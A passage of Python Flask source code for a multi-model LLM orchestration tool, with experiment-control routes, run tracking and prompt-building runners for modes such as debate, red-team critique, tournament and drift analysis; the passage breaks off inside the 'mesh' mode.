@admin_required
|
|
def lab_start(eid):
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("UPDATE lab_experiments SET status = 'running' WHERE id = %s", (eid,))
|
|
conn.commit()
|
|
if eid in _lab_threads and _lab_threads[eid].is_alive():
|
|
return jsonify({"ok": True, "message": "Already running"})
|
|
t = threading.Thread(target=_ratchet_loop, args=(eid,), daemon=True)
|
|
_lab_threads[eid] = t
|
|
t.start()
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>/pause", methods=["POST"])
|
|
@admin_required
|
|
def lab_pause(eid):
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("UPDATE lab_experiments SET status = 'paused' WHERE id = %s", (eid,))
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>/reset", methods=["POST"])
|
|
@admin_required
|
|
def lab_reset(eid):
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("UPDATE lab_experiments SET status = 'idle', total_trials = 0, improvements = 0, best_score = 0, best_config = mutable_config WHERE id = %s", (eid,))
|
|
cur.execute("DELETE FROM lab_trials WHERE experiment_id = %s", (eid,))
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>/delete", methods=["DELETE"])
|
|
@admin_required
|
|
def lab_delete(eid):
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("DELETE FROM lab_experiments WHERE id = %s", (eid,))
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>/stream")
|
|
@admin_required
|
|
def lab_stream(eid):
|
|
q = []
|
|
_lab_streams.setdefault(eid, []).append(q)
|
|
def generate():
|
|
try:
|
|
while True:
|
|
if q:
|
|
data = q.pop(0)
|
|
yield f"data: {json.dumps(data)}\n\n"
|
|
if data.get("type") == "done":
|
|
break
|
|
else:
|
|
time.sleep(0.5)
|
|
yield ": keepalive\n\n"
|
|
finally:
|
|
_lab_streams.get(eid, []).remove(q) if q in _lab_streams.get(eid, []) else None
|
|
return Response(generate(), mimetype="text/event-stream",
|
|
headers={"Cache-Control": "no-cache", "X-Accel-Buffering": "no"})
|
|
|
|
|
|
# ─── ACTIVE RUN TRACKING ──────────────────────────────────────
|
|
import uuid as _uuid
|
|
|
|
_active_runs = {} # run_id -> {mode, user, prompt, started, step, total_steps, substep, events, errors}
|
|
_run_log = [] # recent completed runs with timing/error info (last 100)
|
|
|
|
def _log_run(run_info):
|
|
"""Archive a completed run to the log."""
|
|
_run_log.append(run_info)
|
|
if len(_run_log) > 100:
|
|
_run_log.pop(0)
|
|
|
|
|
|
# ─── TEAM ROUTES ──────────────────────────────────────────────
|
|
|
|
@app.route("/api/run", methods=["POST"])
|
|
@login_required
|
|
def run_team():
|
|
ip = request.remote_addr
|
|
if rate_limited(ip):
|
|
return jsonify({"error": "Rate limit exceeded. Wait a minute."}), 429
|
|
|
|
config = request.json
|
|
if not config:
|
|
return jsonify({"error": "Request body required"}), 400
|
|
|
|
mode = config.get("mode", "")
|
|
if not mode:
|
|
return jsonify({"error": "Mode is required"}), 400
|
|
|
|
prompt = config.get("prompt", "").strip()
|
|
if not prompt:
|
|
return jsonify({"error": "Prompt cannot be empty"}), 400
|
|
|
|
RUNNERS = {
|
|
"brainstorm": run_brainstorm, "pipeline": run_pipeline, "debate": run_debate,
|
|
"validator": run_validator, "roundrobin": run_roundrobin, "redteam": run_redteam,
|
|
"consensus": run_consensus, "codereview": run_codereview, "ladder": run_ladder,
|
|
"tournament": run_tournament, "evolution": run_evolution, "blindassembly": run_blindassembly,
|
|
"staircase": run_staircase, "drift": run_drift, "mesh": run_mesh,
|
|
"hallucination": run_hallucination, "timeloop": run_timeloop,
|
|
"research": run_research, "eval": run_eval, "extract": run_extract,
|
|
}
|
|
|
|
run_id = str(_uuid.uuid4())[:8]
|
|
username = session.get("username", "unknown")
|
|
_active_runs[run_id] = {
|
|
"mode": mode, "user": username, "prompt": prompt[:100],
|
|
"started": time.time(), "step": 0, "total_steps": 0,
|
|
"substep": "", "events": 0, "errors": [],
|
|
"responses_size": 0
|
|
}
|
|
|
|
def generate():
|
|
import queue
|
|
collected = []
|
|
run = _active_runs[run_id]
|
|
event_queue = queue.Queue()
|
|
stop_heartbeat = threading.Event()
|
|
|
|
# Heartbeat thread: sends keepalive every 10s to prevent connection timeout
|
|
def heartbeat():
|
|
while not stop_heartbeat.is_set():
|
|
stop_heartbeat.wait(10)
|
|
if not stop_heartbeat.is_set():
|
|
event_queue.put(": keepalive\n\n")
|
|
|
|
hb_thread = threading.Thread(target=heartbeat, daemon=True)
|
|
hb_thread.start()
|
|
|
|
# Runner thread: executes the mode runner and pushes events to queue
|
|
def run_pipeline():
|
|
try:
|
|
runner = RUNNERS.get(mode)
|
|
if runner:
|
|
for event_str in runner(config):
|
|
event_queue.put(event_str)
|
|
else:
|
|
event_queue.put(sse({"type": "response", "model": "system", "text": f"Unknown mode: {mode}", "role": "error"}))
|
|
event_queue.put(sse({"type": "done"}))
|
|
except Exception as e:
|
|
run["errors"].append({"model": "system", "error": str(e)[:500], "time": time.time()})
|
|
event_queue.put(sse({"type": "response", "model": "system", "text": f"Pipeline error: {e}", "role": "error"}))
|
|
event_queue.put(sse({"type": "done"}))
|
|
finally:
|
|
event_queue.put(None) # sentinel
|
|
|
|
pipeline_thread = threading.Thread(target=run_pipeline, daemon=True)
|
|
pipeline_thread.start()
|
|
|
|
try:
|
|
while True:
|
|
try:
|
|
event_str = event_queue.get(timeout=30)
|
|
except queue.Empty:
|
|
# Safety keepalive if heartbeat thread died
|
|
yield ": keepalive\n\n"
|
|
continue
|
|
if event_str is None:
|
|
break
|
|
yield event_str
|
|
# Track events
|
|
if event_str.startswith("data: "):
|
|
run["events"] += 1
|
|
try:
|
|
data = json.loads(event_str[6:].strip())
|
|
evt_type = data.get("type")
|
|
if evt_type == "response":
|
|
text = data.get("text", "")
|
|
run["responses_size"] += len(text)
|
|
collected.append({"model": data.get("model", ""), "text": text, "role": data.get("role", "")})
|
|
if data.get("role") == "error":
|
|
run["errors"].append({"model": data.get("model"), "error": text[:200], "time": time.time()})
|
|
elif evt_type == "progress":
|
|
run["step"] = data.get("step", run["step"])
|
|
run["total_steps"] = data.get("total_steps", run["total_steps"])
|
|
run["substep"] = data.get("substep", "")
|
|
elif evt_type == "status":
|
|
run["substep"] = data.get("message", "")
|
|
except Exception:
|
|
pass
|
|
finally:
|
|
stop_heartbeat.set()
|
|
run["finished"] = time.time()
|
|
run["duration"] = round(run["finished"] - run["started"], 1)
|
|
run["response_count"] = len(collected)
|
|
_log_run(dict(run, run_id=run_id))
|
|
_active_runs.pop(run_id, None)
|
|
if collected:
|
|
save_run(mode, config.get("prompt", ""), config, collected)
|
|
|
|
return Response(generate(), mimetype="text/event-stream",
|
|
headers={"Cache-Control": "no-cache", "X-Accel-Buffering": "no", "Connection": "keep-alive"})
|
|
|
|
|
|
# ─── ORIGINAL 10 MODES ────────────────────────────────────────
|
|
|
|
def run_brainstorm(config):
|
|
models, prompt = config.get("models", []), config["prompt"]
|
|
synthesizer = config.get("synthesizer", models[0] if models else "qwen2.5")
|
|
total = 2 if len(models) > 1 else 1
|
|
yield sse({"type": "clear"})
|
|
yield sse({"type": "progress", "step": 1, "total_steps": total, "substep": f"Querying {len(models)} models in parallel...", "percent": 10})
|
|
yield sse({"type": "status", "message": f"Querying {len(models)} models..."})
|
|
# Stream responses as they arrive instead of waiting for all
|
|
responses = {}
|
|
completed = 0
|
|
max_timeout = max((_get_timeout(m) for m in models), default=300) + 30
|
|
with ThreadPoolExecutor(max_workers=max(len(models), 1)) as pool:
|
|
futures = {pool.submit(safe_query, m, prompt): m for m in models}
|
|
for future in as_completed(futures, timeout=max_timeout):
|
|
m = futures[future]
|
|
try:
|
|
r = future.result(timeout=10)
|
|
except Exception as e:
|
|
r = f"Error: {e}"
|
|
responses[m] = r
|
|
completed += 1
|
|
pct = 10 + int((completed / len(models)) * 50)
|
|
yield sse({"type": "progress", "step": 1, "total_steps": total, "substep": f"{completed}/{len(models)} models responded", "percent": pct})
|
|
role = "error" if r.startswith("Error:") else "respondent"
|
|
yield sse({"type": "response", "model": m, "text": r, "role": role})
|
|
if len(responses) > 1:
|
|
yield sse({"type": "progress", "step": 2, "total_steps": total, "substep": f"Synthesizing with {synthesizer}...", "percent": 70})
|
|
yield sse({"type": "status", "message": f"Synthesizing with {synthesizer}..."})
|
|
parts = [("QUESTION:", prompt, 1), ("INSTRUCTION:", "Synthesize the best answer. Be concise.", 1)]
|
|
for m, r in responses.items():
|
|
parts.append((f"[{m}]:", cap_response(r), 3))
|
|
sp = build_context(parts, synthesizer)
|
|
try:
|
|
yield sse({"type": "response", "model": synthesizer, "text": safe_query(synthesizer, sp), "role": "synthesis"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": synthesizer, "text": str(e), "role": "error"})
|
|
yield sse({"type": "progress", "step": total, "total_steps": total, "substep": "Complete", "percent": 100})
|
|
|
|
|
|
def run_pipeline(config):
|
|
steps, current = config.get("steps", []), config["prompt"]
|
|
yield sse({"type": "clear"})
|
|
for i, step in enumerate(steps):
|
|
model = step["model"]
|
|
yield sse({"type": "status", "message": f"Step {i+1}/{len(steps)}: {model}..."})
|
|
try:
|
|
prompt = step["instruction"].replace("{input}", cap_response(current))
|
|
current = safe_query(model, prompt)
|
|
yield sse({"type": "response", "model": model, "text": current, "role": f"step {i+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": model, "text": str(e), "role": "error"}); break
|
|
|
|
|
|
def run_debate(config):
|
|
prompt = config.get("prompt", "")
|
|
d1, d2, judge = config.get("debater1"), config.get("debater2"), config.get("judge")
|
|
if not all([d1, d2, judge]):
|
|
yield sse({"type": "response", "model": "system", "text": "Debate mode requires 'debater1', 'debater2', and 'judge' model parameters.", "role": "error"})
|
|
yield sse({"type": "done"})
|
|
return
|
|
rounds = config.get("rounds", 2)
|
|
yield sse({"type": "clear"})
|
|
history = []
|
|
for m in [d1, d2]:
|
|
yield sse({"type": "status", "message": f"{m} opening..."})
|
|
try:
|
|
r = safe_query(m, f"Give your position on: {prompt}")
|
|
history.append((m, r)); yield sse({"type": "response", "model": m, "text": r, "role": "opening"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
for rd in range(rounds):
|
|
for i, m in enumerate([d1, d2]):
|
|
other = [d1, d2][1-i]
|
|
other_last = [h[1] for h in history if h[0] == other][-1]
|
|
yield sse({"type": "status", "message": f"Round {rd+1}: {m}..."})
|
|
try:
|
|
rebuttal_prompt = build_context([
|
|
("Topic:", prompt, 1),
|
|
(f"Opponent ({other}) said:", cap_response(other_last), 2),
|
|
("INSTRUCTION:", "Rebuttal or concede:", 1),
|
|
], m)
|
|
r = safe_query(m, rebuttal_prompt)
|
|
history.append((m, r)); yield sse({"type": "response", "model": m, "text": r, "role": f"round {rd+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
yield sse({"type": "status", "message": f"{judge} judging..."})
|
|
parts = [("Topic:", prompt, 1), ("INSTRUCTION:", "Judge: who won and why?", 1)]
|
|
for m, t in history:
|
|
parts.append((f"[{m}]:", cap_response(t), 3))
|
|
jp = build_context(parts, judge)
|
|
try:
|
|
yield sse({"type": "response", "model": judge, "text": safe_query(judge, jp), "role": "judge"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_validator(config):
|
|
prompt, answerer, validators = config["prompt"], config["answerer"], config.get("validators", [])
|
|
yield sse({"type": "clear"})
|
|
yield sse({"type": "status", "message": f"{answerer} answering..."})
|
|
try:
|
|
answer = query_model(answerer, prompt)
|
|
yield sse({"type": "response", "model": answerer, "text": answer, "role": "answer"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
|
|
yield sse({"type": "status", "message": f"Validating with {len(validators)} models..."})
|
|
vp = f"QUESTION: {prompt}\n\nANSWER:\n{answer}\n\nFact-check. Score 1-10 for accuracy, completeness, clarity. Flag errors."
|
|
results = parallel_query(validators, vp)
|
|
for m, r in results.items():
|
|
yield sse({"type": "response", "model": m, "text": r, "role": "validator"})
|
|
|
|
|
|
def run_roundrobin(config):
|
|
prompt, models, cycles = config["prompt"], config.get("models", []), config.get("cycles", 2)
|
|
yield sse({"type": "clear"})
|
|
if not models: return
|
|
yield sse({"type": "status", "message": f"{models[0]} drafting..."})
|
|
try:
|
|
current = query_model(models[0], f"Answer:\n\n{prompt}")
|
|
yield sse({"type": "response", "model": models[0], "text": current, "role": "draft"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": models[0], "text": str(e), "role": "error"}); return
|
|
for cycle in range(cycles):
|
|
start = 1 if cycle == 0 else 0
|
|
for i in range(start, len(models)):
|
|
m = models[i]
|
|
yield sse({"type": "status", "message": f"Cycle {cycle+1}: {m}..."})
|
|
try:
|
|
current = query_model(m, f"Question: {prompt}\n\nCurrent answer:\n{current}\n\nImprove it. Return full improved answer.")
|
|
is_last = (cycle == cycles-1) and (i == len(models)-1)
|
|
yield sse({"type": "response", "model": m, "text": current, "role": "final" if is_last else f"cycle {cycle+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_redteam(config):
|
|
prompt = config.get("prompt", "")
|
|
author, attacker, patcher = config.get("author"), config.get("attacker"), config.get("patcher")
|
|
if not all([author, attacker, patcher]):
|
|
yield sse({"type": "response", "model": "system", "text": "Red team mode requires 'author', 'attacker', and 'patcher' model parameters.", "role": "error"})
|
|
yield sse({"type": "done"})
|
|
return
|
|
rounds = config.get("rounds", 2)
|
|
yield sse({"type": "clear"})
|
|
yield sse({"type": "status", "message": f"{author} writing..."})
|
|
try:
|
|
current = query_model(author, prompt)
|
|
yield sse({"type": "response", "model": author, "text": current, "role": "author"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": author, "text": str(e), "role": "error"}); return
|
|
for r in range(rounds):
|
|
yield sse({"type": "status", "message": f"Round {r+1}: {attacker} attacking..."})
|
|
try:
|
|
attack = query_model(attacker, f"Question: {prompt}\n\nAnswer:\n{current}\n\nRED TEAM: find every flaw, error, weakness, edge case. Be aggressive.")
|
|
yield sse({"type": "response", "model": attacker, "text": attack, "role": f"attack {r+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": attacker, "text": str(e), "role": "error"}); continue
|
|
yield sse({"type": "status", "message": f"Round {r+1}: {patcher} fixing..."})
|
|
try:
|
|
current = query_model(patcher, f"Question: {prompt}\n\nAnswer:\n{current}\n\nFlaws found:\n{attack}\n\nFix ALL issues. Return complete improved answer.")
|
|
yield sse({"type": "response", "model": patcher, "text": current, "role": "patcher" if r == rounds-1 else f"patch {r+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": patcher, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_consensus(config):
|
|
prompt, models, max_rounds = config["prompt"], config.get("models", []), config.get("max_rounds", 3)
|
|
yield sse({"type": "clear"})
|
|
if not models: return
|
|
yield sse({"type": "status", "message": f"Round 1: {len(models)} models answering..."})
|
|
responses = parallel_query(models, prompt)
|
|
for m, r in responses.items():
|
|
yield sse({"type": "response", "model": m, "text": r, "role": "round 1"})
|
|
for rd in range(2, max_rounds + 1):
|
|
yield sse({"type": "status", "message": f"Round {rd}: reviewing each other..."})
|
|
new = {}
|
|
for m in models:
|
|
parts = [("Question:", prompt, 1),
|
|
("Your answer:", cap_response(responses.get(m, "")), 2),
|
|
("INSTRUCTION:", "Revise considering other perspectives. Adopt good points, defend if right.", 1)]
|
|
for o, r in responses.items():
|
|
if o != m:
|
|
parts.append((f"[{o}]:", cap_response(r), 3))
|
|
ctx = build_context(parts, m)
|
|
try:
|
|
new[m] = safe_query(m, ctx)
|
|
yield sse({"type": "response", "model": m, "text": new[m], "role": "consensus" if rd == max_rounds else f"round {rd}"})
|
|
except Exception as e:
|
|
new[m] = responses.get(m, ""); yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
responses = new
|
|
|
|
|
|
def run_codereview(config):
|
|
prompt = config.get("prompt", "")
|
|
coder, reviewer, tester = config.get("coder"), config.get("reviewer"), config.get("tester")
|
|
if not all([coder, reviewer, tester]):
|
|
yield sse({"type": "response", "model": "system", "text": "Code review mode requires 'coder', 'reviewer', and 'tester' model parameters.", "role": "error"})
|
|
yield sse({"type": "done"})
|
|
return
|
|
yield sse({"type": "clear"})
|
|
yield sse({"type": "status", "message": f"{coder} coding..."})
|
|
try:
|
|
code = query_model(coder, f"Write code for this task. Only output code with brief comments.\n\n{prompt}")
|
|
yield sse({"type": "response", "model": coder, "text": code, "role": "coder"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": coder, "text": str(e), "role": "error"}); return
|
|
yield sse({"type": "status", "message": f"{reviewer} reviewing..."})
|
|
try:
|
|
review = query_model(reviewer, f"Task: {prompt}\n\nCode:\n{code}\n\nReview: bugs, security, performance, style, edge cases. Provide corrected code if needed.")
|
|
yield sse({"type": "response", "model": reviewer, "text": review, "role": "reviewer"})
|
|
except Exception as e:
|
|
review = ""; yield sse({"type": "response", "model": reviewer, "text": str(e), "role": "error"})
|
|
yield sse({"type": "status", "message": f"{tester} testing..."})
|
|
try:
|
|
tests = query_model(tester, f"Task: {prompt}\n\nCode:\n{code}\n\nReview:\n{review}\n\nWrite comprehensive unit tests. Cover normal, edge, error cases.")
|
|
yield sse({"type": "response", "model": tester, "text": tests, "role": "tester"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": tester, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_ladder(config):
|
|
prompt, models = config["prompt"], config.get("models", [])
|
|
levels = [
|
|
("Child (5yo)", "Explain to a 5-year-old. Very simple words, short sentences, fun analogies."),
|
|
("Teenager", "Explain to a 15-year-old. Everyday language, relatable examples, some technical terms."),
|
|
("College Student", "College level. Proper terminology, theory, structured explanation."),
|
|
("Professional", "Professional level. Technical language, real-world applications, trade-offs."),
|
|
("PhD Expert", "PhD/expert level. Nuanced details, current research, math if relevant, edge cases."),
|
|
]
|
|
yield sse({"type": "clear"})
|
|
for i, (name, instr) in enumerate(levels):
|
|
m = models[i % len(models)] if models else "qwen2.5"
|
|
yield sse({"type": "status", "message": f"Level {i+1}/5: {name} ({m})..."})
|
|
try:
|
|
yield sse({"type": "response", "model": m, "text": query_model(m, f"{instr}\n\nQuestion: {prompt}"), "role": name})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_tournament(config):
|
|
prompt, models, judge = config["prompt"], config.get("models", []), config.get("judge", "qwen2.5")
|
|
yield sse({"type": "clear"})
|
|
yield sse({"type": "status", "message": f"{len(models)} models competing..."})
|
|
responses = parallel_query(models, prompt)
|
|
for m, r in responses.items():
|
|
yield sse({"type": "response", "model": m, "text": r, "role": "competitor"})
|
|
if len(responses) < 2: return
|
|
yield sse({"type": "status", "message": f"{judge} ranking..."})
|
|
parts = [("Question:", prompt, 1),
|
|
("INSTRUCTION:", "Rank all from best to worst. Score 1-10 each. Then refine the winner into the ultimate answer.", 1)]
|
|
for m, r in responses.items():
|
|
parts.append((f"[{m}]:", cap_response(r), 3))
|
|
jp = build_context(parts, judge)
|
|
try:
|
|
yield sse({"type": "response", "model": judge, "text": safe_query(judge, jp), "role": "verdict"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"})
|
|
|
|
|
|
# ─── NEW 7 MODES ──────────────────────────────────────────────
|
|
|
|
def run_evolution(config):
|
|
"""Genetic algorithm: generate, score, breed, mutate across generations."""
|
|
prompt, models = config["prompt"], config.get("models", [])
|
|
generations = config.get("generations", 3)
|
|
judge = config.get("judge", models[0] if models else "qwen2.5")
|
|
yield sse({"type": "clear"})
|
|
|
|
if not models: return
|
|
|
|
# Gen 0: each model generates an answer
|
|
yield sse({"type": "status", "message": "Generation 0: spawning initial population..."})
|
|
population = parallel_query(models, prompt)
|
|
for m, r in population.items():
|
|
yield sse({"type": "response", "model": m, "text": r, "role": "gen 0"})
|
|
|
|
for gen in range(1, generations + 1):
|
|
# Fitness scoring
|
|
yield sse({"type": "status", "message": f"Generation {gen}: fitness evaluation..."})
|
|
score_prompt = f"Question: {prompt}\n\nRate each answer 1-100. Return ONLY a JSON object like {{\"model_name\": score}}.\n\n"
|
|
for m, r in population.items():
|
|
score_prompt += f"[{m}]: {r.strip()}\n\n"
|
|
try:
|
|
scores_raw = query_model(judge, score_prompt)
|
|
yield sse({"type": "response", "model": judge, "text": scores_raw, "role": f"fitness gen {gen}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"}); continue
|
|
|
|
# Breed: take top 2 answers, ask a model to combine them
|
|
pop_list = list(population.items())
|
|
if len(pop_list) < 2: break
|
|
|
|
parent1, parent2 = pop_list[0], pop_list[1]
|
|
yield sse({"type": "status", "message": f"Generation {gen}: breeding + mutating..."})
|
|
|
|
new_population = {}
|
|
for m in models:
|
|
breed_prompt = (
|
|
f"Question: {prompt}\n\n"
|
|
f"Parent A ({parent1[0]}):\n{parent1[1].strip()}\n\n"
|
|
f"Parent B ({parent2[0]}):\n{parent2[1].strip()}\n\n"
|
|
f"You are {m}. Breed these two answers: take the best parts of each parent, "
|
|
f"combine them, then MUTATE by adding one novel insight or improvement. "
|
|
f"Return your evolved answer."
|
|
)
|
|
try:
|
|
offspring = query_model(m, breed_prompt)
|
|
new_population[m] = offspring
|
|
is_last = gen == generations
|
|
yield sse({"type": "response", "model": m, "text": offspring, "role": "final" if is_last else f"gen {gen}"})
|
|
except Exception as e:
|
|
new_population[m] = population.get(m, "")
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
|
|
population = new_population
|
|
|
|
|
|
def run_blindassembly(config):
|
|
"""Split question into parts, each model answers blind, assembler stitches."""
|
|
prompt, models = config["prompt"], config.get("models", [])
|
|
assembler = config.get("assembler", models[0] if models else "qwen2.5")
|
|
yield sse({"type": "clear"})
|
|
|
|
if not models: return
|
|
n = len(models)
|
|
|
|
# Step 1: Decompose the question
|
|
yield sse({"type": "status", "message": "Decomposing question into sub-tasks..."})
|
|
decompose_prompt = (
|
|
f"Split this question into exactly {n} independent sub-parts that together fully answer it. "
|
|
f"Return ONLY a numbered list, one sub-question per line. No other text.\n\n"
|
|
f"Question: {prompt}"
|
|
)
|
|
try:
|
|
parts_raw = query_model(assembler, decompose_prompt)
|
|
yield sse({"type": "response", "model": assembler, "text": parts_raw, "role": "decomposer"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": assembler, "text": str(e), "role": "error"}); return
|
|
|
|
# Parse parts
|
|
parts = [line.strip() for line in parts_raw.strip().split("\n") if line.strip() and any(c.isalpha() for c in line)]
|
|
while len(parts) < n:
|
|
parts.append(f"Additional aspect of: {prompt}")
|
|
parts = parts[:n]
|
|
|
|
# Step 2: Each model answers their part BLIND
|
|
yield sse({"type": "status", "message": f"Sending {n} sub-tasks to models (blind)..."})
|
|
fragments = {}
|
|
with ThreadPoolExecutor(max_workers=n) as pool:
|
|
futures = {}
|
|
for i, m in enumerate(models):
|
|
blind_prompt = (
|
|
f"Answer ONLY this specific sub-question. Do not address anything else.\n\n"
|
|
f"Sub-question: {parts[i]}"
|
|
)
|
|
futures[pool.submit(query_model, m, blind_prompt)] = (m, parts[i])
|
|
|
|
for future in as_completed(futures):
|
|
m, part = futures[future]
|
|
try:
|
|
fragments[m] = {"part": part, "answer": future.result()}
|
|
yield sse({"type": "response", "model": m, "text": f"SUB-TASK: {part}\n\nANSWER:\n{fragments[m]['answer']}", "role": "blind worker"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
|
|
# Step 3: Assemble
|
|
yield sse({"type": "status", "message": f"{assembler} assembling blind fragments..."})
|
|
assemble_prompt = f"Original question: {prompt}\n\nMultiple models each answered a sub-part WITHOUT seeing each other:\n\n"
|
|
for m, data in fragments.items():
|
|
assemble_prompt += f"[{m}] (sub-task: {data['part']}):\n{data['answer'].strip()}\n\n"
|
|
assemble_prompt += "Stitch these fragments into ONE coherent, complete answer. Fill any gaps. Remove contradictions."
|
|
|
|
try:
|
|
yield sse({"type": "response", "model": assembler, "text": query_model(assembler, assemble_prompt), "role": "assembler"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": assembler, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_staircase(config):
|
|
"""Devil's Staircase: each round adds a new constraint."""
|
|
prompt = config["prompt"]
|
|
answerer = config["answerer"]
|
|
challenger = config["challenger"]
|
|
steps = config.get("steps", 4)
|
|
yield sse({"type": "clear"})
|
|
|
|
# Initial answer
|
|
yield sse({"type": "status", "message": f"{answerer} answering..."})
|
|
try:
|
|
current = query_model(answerer, prompt)
|
|
yield sse({"type": "response", "model": answerer, "text": current, "role": "initial answer"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
|
|
|
|
constraints = []
|
|
for s in range(steps):
|
|
# Challenger adds a constraint
|
|
yield sse({"type": "status", "message": f"Step {s+1}: {challenger} adding constraint..."})
|
|
constraint_prompt = (
|
|
f"Original question: {prompt}\n\n"
|
|
f"Current answer:\n{current}\n\n"
|
|
f"Existing constraints: {constraints if constraints else 'None yet'}\n\n"
|
|
f"Add ONE new realistic constraint, complication, or edge case that the current answer doesn't handle. "
|
|
f"Make it specific and challenging but plausible. State ONLY the new constraint, nothing else."
|
|
)
|
|
try:
|
|
new_constraint = query_model(challenger, constraint_prompt)
|
|
constraints.append(new_constraint.strip())
|
|
yield sse({"type": "response", "model": challenger, "text": new_constraint, "role": f"constraint {s+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": challenger, "text": str(e), "role": "error"}); continue
|
|
|
|
# Answerer must adapt
|
|
yield sse({"type": "status", "message": f"Step {s+1}: {answerer} adapting..."})
|
|
adapt_prompt = (
|
|
f"Original question: {prompt}\n\n"
|
|
f"ALL constraints you must satisfy:\n" +
|
|
"\n".join(f" {i+1}. {c}" for i, c in enumerate(constraints)) +
|
|
f"\n\nYour previous answer:\n{current}\n\n"
|
|
f"Rewrite your answer to handle ALL constraints. Return the complete updated answer."
|
|
)
|
|
try:
|
|
current = query_model(answerer, adapt_prompt)
|
|
is_last = s == steps - 1
|
|
yield sse({"type": "response", "model": answerer, "text": current, "role": "final" if is_last else f"adapted {s+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_drift(config):
|
|
"""Same prompt N times to same model, analyze variance."""
|
|
prompt = config["prompt"]
|
|
target = config["target"]
|
|
samples = config.get("samples", 5)
|
|
analyzer = config["analyzer"]
|
|
yield sse({"type": "clear"})
|
|
|
|
yield sse({"type": "status", "message": f"Sampling {target} {samples} times..."})
|
|
results = []
|
|
for i in range(samples):
|
|
yield sse({"type": "status", "message": f"Sample {i+1}/{samples}..."})
|
|
try:
|
|
r = query_model(target, prompt)
|
|
results.append(r)
|
|
yield sse({"type": "response", "model": target, "text": r, "role": f"sample {i+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": target, "text": str(e), "role": "error"})
|
|
|
|
if len(results) < 2: return
|
|
|
|
# Analyze
|
|
yield sse({"type": "status", "message": f"{analyzer} analyzing drift..."})
|
|
analysis_prompt = (
|
|
f"Question asked: {prompt}\n\n"
|
|
f"The model '{target}' was asked this same question {len(results)} times. Here are all responses:\n\n"
|
|
)
|
|
for i, r in enumerate(results):
|
|
analysis_prompt += f"--- Sample {i+1} ---\n{r.strip()}\n\n"
|
|
|
|
analysis_prompt += (
|
|
"DRIFT ANALYSIS:\n"
|
|
"1. What claims/facts are CONSISTENT across all samples? (HIGH CONFIDENCE)\n"
|
|
"2. What claims VARY between samples? (LOW CONFIDENCE - possible hallucination)\n"
|
|
"3. What is completely CONTRADICTED between samples? (UNRELIABLE)\n"
|
|
"4. Give an overall confidence score 1-10 for the model's answer to this question.\n"
|
|
"5. Provide the 'true' answer using only high-confidence claims."
|
|
)
|
|
try:
|
|
yield sse({"type": "response", "model": analyzer, "text": query_model(analyzer, analysis_prompt), "role": "analyzer"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": analyzer, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_mesh(config):
|
|
"""Each model answers as a different stakeholder."""
|
|
prompt, models = config["prompt"], config.get("models", [])
|
|
synthesizer = config.get("synthesizer", models[0] if models else "qwen2.5")
|
|
yield sse({"type": "clear"})
|
|
|
|
perspectives = [
|
|
("CEO / Business Leader", "You are a CEO. Answer from a business strategy perspective: ROI, market impact, competitive advantage, risk."),
|
|
("Software Engineer", "You are a senior engineer. Answer from a technical perspective: architecture, implementation, scalability, tech debt."),
|
|
("End User / Customer", "You are an end user/customer. Answer from a usability perspective: experience, pain points, what you actually need."),
|
|
("Regulator / Legal", "You are a regulator/legal advisor. Answer from a compliance perspective: laws, regulations, liability, ethics, privacy."),
|
|
("Competitor", "You are a competitor analyzing this. What threats/opportunities does this create? What would you do differently?"),
|
|
]
|
|
|
|
if not models: return
|
|
|
|
responses = {}
|
|
for i, (role_name, instruction) in enumerate(perspectives):
|
|
m = models[i % len(models)]
|
|
